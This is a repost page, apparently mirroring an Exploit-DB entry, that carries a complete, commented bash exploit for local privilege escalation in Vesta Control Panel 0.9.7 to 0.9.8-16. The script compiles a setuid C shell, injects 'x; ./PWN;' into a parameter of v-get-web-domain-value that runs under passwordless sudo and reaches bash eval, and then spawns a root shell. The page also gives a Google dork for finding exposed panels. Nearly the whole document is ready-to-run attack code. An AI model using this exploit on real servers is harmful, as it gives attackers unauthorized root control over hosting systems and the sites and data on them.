Vesta Control Panel 0.9.8-16 – Local Privilege Escalation - 体验盒子

作者： Jaka Hudoklin

日期： 2016-12-22

类别：

local

平台：

linux

来源：https://www.exploit-db.com/exploits/40953/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

#!/bin/bash

#

# Exploit Title: Vesta Control Panel 0.9.7 <= 0.9.8-16 Local Privilege Escalation Exploit

# Google Dork: vesta control panel inurl:8083

# Exploit Author: Jaka Hudoklin @offlinehacker

# Vendor Homepage: http://vestacp.com/

# Software Link: https://github.com/serghey-rodin/vesta

# Version: 0.9.7 - 0.9.8-16

#

# Description:

# Vesta CP default install script adds /usr/local/vesta/bin/ directory into

# /etc/sudoers.d with the NOPASSWD option for the default "admin" user. All

# programs in /usr/local/vesta/bin/ directory can therefore be run as root. A

# command injection vulnerability in "v-get-web-domain-value" script can be

# exploited to run arbitrary commands and escalate from admin user to root.

#

# Vulnerability:

# Parameter $3 (key) in v-get-web-domain-value is not properly sanitized before

# being passed to bash eval.

#

# Navigate to a writeable directory, usually /tmp.

cd /tmp

# Write a simple C suid shell to suid.c.

cat > suid.c << _EOF

int main(void) {

setgid(0); setuid(0);

execl("/bin/sh","sh",0); }

_EOF

# Compile suid shell with gcc.

# [!] If there is no gcc on the system deploy a precompiled binary manually.

gcc suid.c -o suid

# Create a shell script called PWN that will be run as root.

# PWN will weaponize ./suid with executable permissions and suid bit.

echo "chown root:root suid; chmod 777 suid; chmod +s suid;" > PWN

# Make PWN shell script executable.

chmod +x PWN

# Inject command to run PWN into v-get-web-domain-value parameter $3.

sudo /usr/local/vesta/bin/v-get-web-domain-value 'admin' 'domain.com' 'x; ./PWN;'

# Spawn the root shell.

./suid